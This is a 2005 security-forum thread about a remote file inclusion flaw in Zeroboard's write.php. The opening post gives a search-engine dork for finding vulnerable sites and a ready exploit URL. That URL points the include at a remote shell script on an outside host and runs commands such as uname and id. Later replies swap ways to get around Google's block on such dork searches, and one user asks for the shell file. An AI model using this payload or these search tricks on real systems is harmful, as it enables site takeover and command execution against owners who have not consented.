Login or Register ::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  :: May 25, 2012 Menu  Home  Logout  Discussions  Forums  Members List  IRC chat  Tools  Base64 coder  MD5 hash  CRC32 checksum  ROT13 coder  SHA-1 hash  URL-decoder  Sql Char Encoder  Affiliates  y3dips ITsec  Md5 Cracker  User Manuals  AlbumNow  Content  Content  Sections  FAQ  Top  Info  Feedback  Recommend Us  Search  Journal  Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: jimysakura New Today: 0 New Yesterday: 3 Overall: 8201 People Online: Visitors: 238 Members: 2 Total: 240 Online Now: 01: Mullog - Forums 02: vince213333 - Forums milw0rm ·[webapps / 0day] - appRain CMF Arbitrary PHP File Upload Vulnerability ·[local exploits] - OpenOffice OLE Importer DocumentSummaryInformatio n Stream Handling ·[local exploits] - Mod_Auth_OpenID Session Stealing Vulnerability ·[dos / poc] - Symantec End Point Protection 11.x & Symantec Network Access Control 11.x LCE ·[dos / poc] - Tftpd32 DHCP Serve 4.00 Denial Of Service ·[webapps / 0day] - Ajaxmint Gallery 1.0 Local File Inclusion ·[webapps / 0day] - RuubikCMS 1.1.0 Beta XSS / Disclosure / Directory Traversal ·[webapps / 0day] - Insight Creative Sql injection/Reflected XSS Vulnerabilties ·[webapps / 0day] - AFFY (index.php) Blind Sql Injection Vulnerability ·[webapps / 0day] - ezContents (1.x.x , 2.0.3) Blind injection/Reflected XSS Vulnerabilties read more... PacketStorm News ·Mandriva Linux Security Advisory 2012-080 ·Red Hat Security Advisory 2012-0688-01 ·Debian Security Advisory 2479-1 ·Debian Security Advisory 2478-1 ·Ubuntu Security Notice USN-1450-1 ·Drupal BrowserID 7.x Cross Site Request Forgery ·Drupal Taxonomy List 6.x Cross Site Scripting ·Drupal Search API 7.x Cross Site Scripting ·Secunia Security Advisory 49200 ·Secunia Security Advisory 49235 read more... IT Security and Insecurity Portal www.waraxe.us Forum Index -> Remote file inclusion -> remote file inclusion in Zeroboard    View previous topic :: View next topic  remote file inclusion in Zeroboard Posted: Wed Jan 19, 2005 6:29 am LINUX Moderator   Joined: May 24, 2004 Posts: 404 Location: Caiman for test this bug you use google allinurl: /zboard/zboard.php vulnerable file write.php [include $dir."/write.php";] Real life exploit http://victim.com/dir/write.php?dir=REMOTESHELL remote shell xD > http://mx.geocities.com/razorkron/cmd.txt?&cmd=uname -a;pwd;id is very easy, remember 90% Zeroboard in KOREA Posted: Wed Jan 19, 2005 2:37 pm SteX Advanced user   Joined: May 18, 2004 Posts: 181 Location: Serbia Google is blocking allinurl: /zboard/zboard.php Quote: Google Error We're sorry... ... but we can't process your request right now. A computer virus or spyware application is sending us automated requests, and it appears that your computer or network has been infected. We'll restore your access as quickly as possible, so try again soon. In the meantime, you might want to run a virus checker or spyware remover to make sure that your computer is free of viruses and other spurious software. We apologize for the inconvenience, and hope we'll see you again on Google. _________________ We would change the world, but God won't give us the sourcecode... ....Watch the master. Follow the master. Be the master.... ------------------------------------------------------- Posted: Thu Jan 20, 2005 12:42 am LINUX Moderator   Joined: May 24, 2004 Posts: 404 Location: Caiman SteX wrote: Google is blocking allinurl: /zboard/zboard.php Quote: Google Error We're sorry... ... but we can't process your request right now. A computer virus or spyware application is sending us automated requests, and it appears that your computer or network has been infected. We'll restore your access as quickly as possible, so try again soon. In the meantime, you might want to run a virus checker or spyware remover to make sure that your computer is free of viruses and other spurious software. We apologize for the inconvenience, and hope we'll see you again on Google. haha yes Stex , you use other web search altavista.com Google block all inurl searches Posted: Fri Feb 04, 2005 4:33 am Lostmon Regular user   Joined: Jul 24, 2004 Posts: 6 Location: spain Hello ! yes this is realy google blocks all 'inurl' searches. After a worm virus like santy.a or skypi.a or variants google put a filter in the search engine and this filter block all of this search. Recenment i publish two articles whith some details more but is in spanish if you like to look http://lostmon.blogspot.com/2005/01/google-bloquea-la-busqueda-de-archivos.html and a PoC for exploting this circunstance: http://lostmon.spymac.net/blog/ jus jus juas And what say the error ? you are infected by a spyware or virus ?? this is realy or only is a momentany lapsus of reason ???? _________________ -- La curiosidad es lo que hace mover la mente Re: Google block all inurl searches Posted: Sat Feb 05, 2005 2:32 am LINUX Moderator   Joined: May 24, 2004 Posts: 404 Location: Caiman Lostmon wrote: Hello ! yes this is realy google blocks all 'inurl' searches. After a worm virus like santy.a or skypi.a or variants google put a filter in the search engine and this filter block all of this search. Recenment i publish two articles whith some details more but is in spanish if you like to look http://lostmon.blogspot.com/2005/01/google-bloquea-la-busqueda-de-archivos.html and a PoC for exploting this circunstance: http://lostmon.spymac.net/blog/ jus jus juas And what say the error ? you are infected by a spyware or virus ?? this is realy or only is a momentany lapsus of reason ???? xD not is:spyware,virus trojan and nothing. Google for months this blocking all type of search with aims Script kiddies search .because of scripts kiddies no longer I can work calm solution not search in google Posted: Sat Feb 05, 2005 3:44 pm Lostmon Regular user   Joined: Jul 24, 2004 Posts: 6 Location: spain Yes i know men that is not a spyware or virus .. but is a generc mesage ... if for that was i write the PoC for this situation and write to Google for asking what are they make whith this searches. i publish python script , for two reasons 1 i think this is a exploitable situation 2 for google looks the potential use of this news filters . _________________ -- La curiosidad es lo que hace mover la mente Re: Google block all inurl searches Posted: Mon Feb 07, 2005 9:14 am BioHunter Beginner   Joined: Jan 12, 2005 Posts: 1 argentino wrote: solution not search in google l00l I have a better solution for you...instead of searching with a diffrent web search... search a diffrent way.. http://www.google.com/search?q=%22Copyright+1999-2005+Zeroboard%22&hl=en&lr=&start=0&sa=N Here is how... Posted: Mon Mar 07, 2005 4:37 am y3dips Valuable expert   Joined: Feb 25, 2005 Posts: 281 Location: Indonesia Try to combine the letter/char , coz google dont use case sensitive, in contrary they just block the letter not in all form of character (case sensitif) try search " fly " n "FlY" ? n see the different it helps when im using my script to search viewtopic.php Posted: Mon Jul 04, 2005 2:42 pm ics Beginner   Joined: Jul 04, 2005 Posts: 1 Can anyone post the CMD.TXT file ? remote file inclusion in Zeroboard   www.waraxe.us Forum Index -> Remote file inclusion You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT   Page 1 of 1   All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 Year Oldest FirstNewest First  Select a forum Security Research by waraxe----------------General discussionHow to fixMetasploit related Hash cracking requests----------------MD5 hashesAll other hashesHash related information http://www.waraxe.us portal----------------SuggestionsCooperation proposals Security bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holes Various software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107FullxmlMamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo Gallery Programming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssembler Reverse engineering----------------Newbies cornerDisassemblingPHP script decode requests Miscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy database Direct Downloads----------------ToolsTutorialsWordlists Recycle Bin----------------Removed messagesOutdated posts   Powered by phpBB © 2001-2008 phpBB Group

Hardware reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.107 Seconds